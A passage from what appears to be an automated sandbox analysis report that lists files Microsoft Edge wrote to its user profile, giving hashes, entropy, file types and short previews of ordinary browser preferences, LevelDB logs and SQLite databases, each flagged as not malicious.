},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dip

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1a176b62-0bff-47ce-b435-9b58ea0cfbf6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12459
Entropy (8bit):	5.201152239626126
Encrypted:	false
SSDEEP:	192:stWJ99QTryDiooZbatSuyWsA0SyaNP9kNG3P82bV+FOQQAOOSI+P8iYJ:stWPGo9SuhsA0StJ7bGvQZOBl
MD5:	E476C572102B02E83337F966B5EC49A9
SHA1:	D0B4465DF0E3B4A1BB98F4BF84E8A9A1CE51A629
SHA-256:	74C23CAF0C2234EADA7BF882281E1BBF480E149D4B4314E0DACCFC2688892586
SHA-512:	3DC0EF20421664019A3E01644EB83019E710F87EE176357DDE9CA2A8B767925441C287A66B313EC186BB349848587D7791768C135F2E523C6236C97431774438
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379085869832800","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3250396b-77ab-4eb1-b193-effb5ef50fb3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13328
Entropy (8bit):	5.280161978963649
Encrypted:	false
SSDEEP:	192:stWJ99QTryDiooZbatSuyWsA0SyaNPxH9zVkNG3P82bV+FOQQFwO3j+P8iYJ:stWPGo9SuhsA0StJxHxbGvQ2O3jl
MD5:	EC19025427C6DA9B9903C5C6D68319C3
SHA1:	8B10B59B426BB435547EF41EBA864383E0E97FB4
SHA-256:	AD753859530B96AAB5532C76A1A64D837A6D87D5D669DD517AEE7A5526183DC7
SHA-512:	DB55CC2CDED15BD648CD49A8C7490BEEDBDB2C66179420E8179EECF04023740DC0775BC002C087E7EE7127CC585F3BA4C920900797CB2EE913C2C042D3423AFC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379085869832800","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\38add844-7aff-4115-a1b0-e1f8ee058edf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\68469b5c-60db-41b4-a6f0-0c49bfcf68f3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13328
Entropy (8bit):	5.280161978963649
Encrypted:	false
SSDEEP:	192:stWJ99QTryDiooZbatSuyWsA0SyaNPxH9zVkNG3P82bV+FOQQFwO3j+P8iYJ:stWPGo9SuhsA0StJxHxbGvQ2O3jl
MD5:	EC19025427C6DA9B9903C5C6D68319C3
SHA1:	8B10B59B426BB435547EF41EBA864383E0E97FB4
SHA-256:	AD753859530B96AAB5532C76A1A64D837A6D87D5D669DD517AEE7A5526183DC7
SHA-512:	DB55CC2CDED15BD648CD49A8C7490BEEDBDB2C66179420E8179EECF04023740DC0775BC002C087E7EE7127CC585F3BA4C920900797CB2EE913C2C042D3423AFC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379085869832800","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7e8b5cdd-6dca-4819-9df9-392fcb0da135.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13328
Entropy (8bit):	5.2799875396427485
Encrypted:	false
SSDEEP:	192:stWJ99QTryDiooZbatSuyWsA0SyaNPxH9zVkNG3P82bV+FOQQFXO3j+P8iYJ:stWPGo9SuhsA0StJxHxbGvQBO3jl
MD5:	A02C9B23F7C0A4BE4318769A2B092E67
SHA1:	5E3FF7F877E5687420CD859551ADEE2DD7B47FF6
SHA-256:	CCCC7F75AA1197455FCF5E5E0DFF165BFA22DE6B674EA11B5AB39088EAAAEE4A
SHA-512:	495528490ADCB339BE048211B4449EDCCCA5F6ABA18870DC34D8CE50963265BC9017B463342B6EB89EDDD2D07A4C13BDF0DF5647B1F74E772F9687C11A71E030
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379085869832800","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.2836543054048315
Encrypted:	false
SSDEEP:	6:7o8h+1cNwi23oH+Tcwtp3hBtB2KLlpo8pYR9+q2PcNwi23oH+Tcwtp3hBWsIFUv:7B+ZYebp3dFLTB7vLZYebp3eFUv
MD5:	27520EC193ECD29864D54071ECBCF870
SHA1:	90D3975B9D8B91427114484F5661FB0795E293AC
SHA-256:	9FEE031DD84236B0F76F4A1C125896CA7E04581C3104E4775623C263F02658C9
SHA-512:	36E8625386F08E3038993FDD66C67BF8497B713547D4B549D7CD8E6AEA16E468ADC95CB4424254C1D78F7A6717614B46C6395EC06FB9A35EB71AD778C35F5176
Malicious:	false
Preview:	2024/12/19-07:44:36.011 1bd8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/12/19-07:44:36.808 1bd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040605411196991
Encrypted:	false
SSDEEP:	24576:k+f76gGkISshcFdmcOAoPENUpifYP+MbI2T:k+fgAmmE
MD5:	D5F95113DB92A0B03BC2CF5FA77737CC
SHA1:	B2B78236ED7234D06C88704AC999F4BA0834DDD1
SHA-256:	C12A694F3E3F961AB456193ECD68E366F04967475B8D89221297F65F289EBF12
SHA-512:	99157404A2B5DF0FAD6AA06104770324D5006855ED6A1735B607F037F8742DAC5E3231D75DEF24B408EC3A30A87BE1B7A25F375DA8561534306EB511D5AA8037
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.106917351240607
Encrypted:	false
SSDEEP:	6:7CXJglyq2PcNwi23oH+Tcwt9Eh1tIFUt8OCXJcCh1Zmw+OCXJcXRkwOcNwi23oH/:7CXJRvLZYeb9Eh16FUt8OCXJcCh1/+Ox
MD5:	152B3D976CAAA5FCD79ED821F9150C7B
SHA1:	7F157B469FD7DA8B99A37E680A32AD49AAB0C9A5
SHA-256:	99B1554500AE062798D8B8203DD6B9F8CEB378D3404B2E8734C0E214682AA3FB
SHA-512:	FCBFC810287B857D2B9CE5D04BCC10C97E6BA037ACE629322E40DC4010CCAE596DD6CC3F6E193AA2A64790356F53C6B8C1F2240BC40DEF2EEA9147276BB5CA27
Malicious:	false
Preview:	2024/12/19-09:20:29.587 21e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/19-09:20:29.593 21e0 Recovering log #3.2024/12/19-09:20:29.598 21e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.106917351240607
Encrypted:	false
SSDEEP:	6:7CXJglyq2PcNwi23oH+Tcwt9Eh1tIFUt8OCXJcCh1Zmw+OCXJcXRkwOcNwi23oH/:7CXJRvLZYeb9Eh16FUt8OCXJcCh1/+Ox
MD5:	152B3D976CAAA5FCD79ED821F9150C7B
SHA1:	7F157B469FD7DA8B99A37E680A32AD49AAB0C9A5
SHA-256:	99B1554500AE062798D8B8203DD6B9F8CEB378D3404B2E8734C0E214682AA3FB
SHA-512:	FCBFC810287B857D2B9CE5D04BCC10C97E6BA037ACE629322E40DC4010CCAE596DD6CC3F6E193AA2A64790356F53C6B8C1F2240BC40DEF2EEA9147276BB5CA27
Malicious:	false
Preview:	2024/12/19-09:20:29.587 21e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/19-09:20:29.593 21e0 Recovering log #3.2024/12/19-09:20:29.598 21e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4657343859687631
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBj5NDrG+:TouQq3qh7z3bY2LNW9WMcUvBDr
MD5:	2B7434814B739ECDDE1B065A980B0882
SHA1:	F199058870F881CFC62E75063B342DC03A17F238
SHA-256:	A1ABE3C89B715AAC46FF4685BF835B7E48DA48B6BD21B3969457D2E601836CFE
SHA-512:	3034266F0C0914FC886B4676B085FB4D687C829287020CEBEA345C7333BC3195CC7A4907AEBD21FD4A159D413598AA9051BFDD8B3AA7D8D3F95B6357D4FA2CBF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	635202
Entropy (8bit):	6.015641405985325
Encrypted:	false
SSDEEP:	12288:dmaP2W8JQiCtQ9/IQW8bvw7kFz8PbIfKGnzPjPMK56nQuda:d158g6DikFwPbW3MKwk
MD5:	3E60FDAC028F69F488D6EF5351BED25C
SHA1:	470E51D9455EBD53E982A9BBD87139A1960A0211
SHA-256:	AA2CD346CEC310F39A942459E1EF0974033D7107CC937B25F08BCC721E502575
SHA-512:	F1C57BB5F40721752079019DA68F71E142CFFF0A8BEB846CA24FED61FACFBCB6B3C7132A2AECBDACFEC4526B89EBFA0DE2B17FF13A208804FAF1E12D92811D79
Malicious:	false
Preview:	...m.................DB_VERSION.1..l..................BLOOM_FILTER:..&{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":3759820,"primeBases":[5381,5381,5381,5381],"supportedDomains":"GFf64FMwbTXONwpTKw8NswCMcDsTVutudxdC2VBNvqhRP5f8uIpOCpOEQF8P1FwhE/L5zzVDFUhlVkAyNg+QuR5AdfrHMaGmUYmGNsEWYR3+DcNBpZ/I5Kibhl4YVjThBkPcIOC9odU2mFrQP1mAq7X/iiSahqI2Dpcr7UQx3fiFGc+G7XS3ADWuanE3R+gk9baykePz1ufouCz2G6MEEPn8bWcpcyUh9W8HVj78wJDg545r3xfqy9Eyybv1AY7wk5NysoFumawShyBUcAfG+SahV7VCYKy5zIPNyoCeHT7RoaXGBpNlEkGeEz1pYIKUGda3nlWrAEwSDzlhgehpJ/X1Rp9tYqpwf38kC6BMCxZCRL4z6g5SdaGqv5ivcLrieLvK2t+5NxWiDNhU+IvXTnVlWeGTn2T95gH+7lnN+XRyxA1bm2H2t7/ZXMQPghA+jmq1JXjNEEY7ZygGMT6g8AJP+eKF+uMA9nLdAKgqMWaAEIEHpe6cVu9h33kKHDUc4YBhOqRQmDMW5E6AMOPT/pEyBLKjkj1WvRlUFemwOegxLnKlu8WdpyNChIXAZh5ssx4XScADAB8JF4uenIqZ/8VqvDWcj/EO28Kg/hdaq5AdTOkxN5+g+VcYlQjtUvp9wec76PnYAi073dVfe0LdOoZtneuxu0WHqemOudoq5KjhkrnMV21rCBsiksEM6oueFQz7/UD9LKDYqAE7eN5pdP6Isz+ByLpm5GWLTZxK5E1r3UAC/bHUgnXDo22YLMiIEVmkLwXS2Vxykqczr6CUDolW/WRvObO/vpH

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000004.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	142
Entropy (8bit):	5.093104377029495
Encrypted:	false
SSDEEP:	3:n1W/38E28xp4m3rscUSW1ySlxV7Eo1lf+nETPxpK2x7L/kY1VBFX2FFis:1G38D8xSEsITSaon+n0PxEWXZVBQFFis
MD5:	5B940EE913528ACE6049A6F7BB7272CC
SHA1:	D2B9613C4EC915D3A0EB11D422C1B36B58468F15
SHA-256:	4C8C985293580278C748D731EC8FC6FB792B7303261B518F651FDB96FB9D46FD
SHA-512:	4A78921ACFB34AA07E1F2B7294ED8D18A824FE35EF21F94B7B845435AF81A226C553E3926F582752EBFEB42E2B6B9B223E256812BCDE1AF78BA12FEC539174E5
Malicious:	false
Preview:	...\9................BLOOM_FILTER_EXPIRY_TIME:.1734698685.496706.w.G................BLOOM_FILTER_LAST_MODIFIED:.Wed, 18 Dec 2024 22:29:19 GMT

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000005.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	635183
Entropy (8bit):	6.0150488963174
Encrypted:	false
SSDEEP:	12288:9maY2WDJQKCtP9/IQf8bvwrkHtePbPcKGncPjRQK5VnMNdo:91JPg7DgkHsPbSkQKK2
MD5:	1BDC22829D6B48F827D4A497D9211035
SHA1:	291802612BE131696D0CF8294F402AC4C357A377
SHA-256:	99D1BFA88799B53E1AD9EF6ABB1CF9985E8EA687632A63871844C65128CE6750
SHA-512:	81B9043179E4B02D3CCEAADB39002261396A3F21E8D509B4C619CE4D263DAB298DB52B7419BB1E94338232AA2EE1D16C6E91EE62791A66B5068692D82C5D6546
Malicious:	false
Preview:	....&BLOOM_FILTER:........{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":3759820,"primeBases":[5381,5381,5381,5381],"supportedDomains":"GFf64FMwbTXONwpTKw8NswCMcDsTVutudxdC2VBNvqhRP5f8uIpOCpOEQF8P1FwhE/L5zzVDFUhlVkAyNg+QuR5AdfrHMaGmUYmGNsEWYR3+DcNBpZ/I5Kibhl4YVjThBkPcIOC9odU2mFrQP1mAq7X/iiSahqI2Dpcr7UQx3fiFGc+G7XS3ADWuanE3R+gk9baykePz1ufouCz2G6MEEPn8bWcpcyUh9W8HVj78wJDg545r3xfqy9Eyybv1AY7wk5NysoFumawShyBUcAfG+SahV7VCYKy5zIPNyoCeHT7RoaXGBpNlEkGeEz1pYIKUGda3nlWrAEwSDzlhgehpJ/X1Rp9tYqpwf38kC6BMCxZCRL4z6g5SdaGqv5ivcLrieLvK2t+5NxWiDNhU+IvXTnVlWeGTn2T95gH+7lnN+XRyxA1bm2H2t7/ZXMQPghA+jmq1JXjNEEY7ZygGMT6g8AJP+eKF+uMA9nLdAKgqMWaAEIEHpe6cVu9h33kKHDUc4YBhOqRQmDMW5E6AMOPT/pEyBLKjkj1WvRlUFemwOegxLnKlu8WdpyNChIXAZh5ssx4XScADAB8JF4uenIqZ/8VqvDWcj/EO28Kg/hdaq5AdTOkxN5+g+VcYlQjtUvp9wec76PnYAi073dVfe0LdOoZtneuxu0WHqemOudoq5KjhkrnMV21rCBsiksEM6oueFQz7/UD9LKDYqAE7eN5pdP6Isz+ByLpm5GWLTZxK5E1r3UAC/bHUgnXDo22YLMiIEVmkLwXS2Vxykqczr6CUDolW/WRvObO/vpHqRCZMFqXmSG6Abc4z8bIucyyzoYTXsuB6aaXR1pNRBl9

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	518
Entropy (8bit):	5.279417555915299
Encrypted:	false
SSDEEP:	12:7dSvLZYebn9GFUt8OE/+Ok54ZYebn95Z9pKcAf0TKLfd+KOKKh:7ClYeb9ig8OEOoYeb9zLBTnhh
MD5:	3B24075EE720EACD13D1C7C51707F815
SHA1:	3B6B27D56521FCB2D262E9062AC8BBF2A2A1DB8C
SHA-256:	F99D1300B45007A7FADB7C9406F7D534ADBE0CA6C9BDEC3B225E845E86A633FD
SHA-512:	D10F941F661BDD7C63C65740BF07AA5BF466CA765D47FB6A72FBAF97F2AD842CB6DCC9FC3C0F75A932B6542F5D6ABB7BF94FA40E5C26434C05DC230326DCA96B
Malicious:	false
Preview:	2024/12/19-07:44:29.366 1914 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/19-07:44:29.369 1914 Recovering log #3.2024/12/19-07:44:29.369 1914 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .2024/12/19-07:44:45.528 17a0 Level-0 table #5: started.2024/12/19-07:44:45.555 17a0 Level-0 table #5: 635183 bytes OK.2024/12/19-07:44:45.557 17a0 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	518
Entropy (8bit):	5.279417555915299
Encrypted:	false
SSDEEP:	12:7dSvLZYebn9GFUt8OE/+Ok54ZYebn95Z9pKcAf0TKLfd+KOKKh:7ClYeb9ig8OEOoYeb9zLBTnhh
MD5:	3B24075EE720EACD13D1C7C51707F815
SHA1:	3B6B27D56521FCB2D262E9062AC8BBF2A2A1DB8C
SHA-256:	F99D1300B45007A7FADB7C9406F7D534ADBE0CA6C9BDEC3B225E845E86A633FD
SHA-512:	D10F941F661BDD7C63C65740BF07AA5BF466CA765D47FB6A72FBAF97F2AD842CB6DCC9FC3C0F75A932B6542F5D6ABB7BF94FA40E5C26434C05DC230326DCA96B
Malicious:	false
Preview:	2024/12/19-07:44:29.366 1914 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/19-07:44:29.369 1914 Recovering log #3.2024/12/19-07:44:29.369 1914 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .2024/12/19-07:44:45.528 17a0 Level-0 table #5: started.2024/12/19-07:44:45.555 17a0 Level-0 table #5: 635183 bytes OK.2024/12/19-07:44:45.557 17a0 Delete type=0 #3.

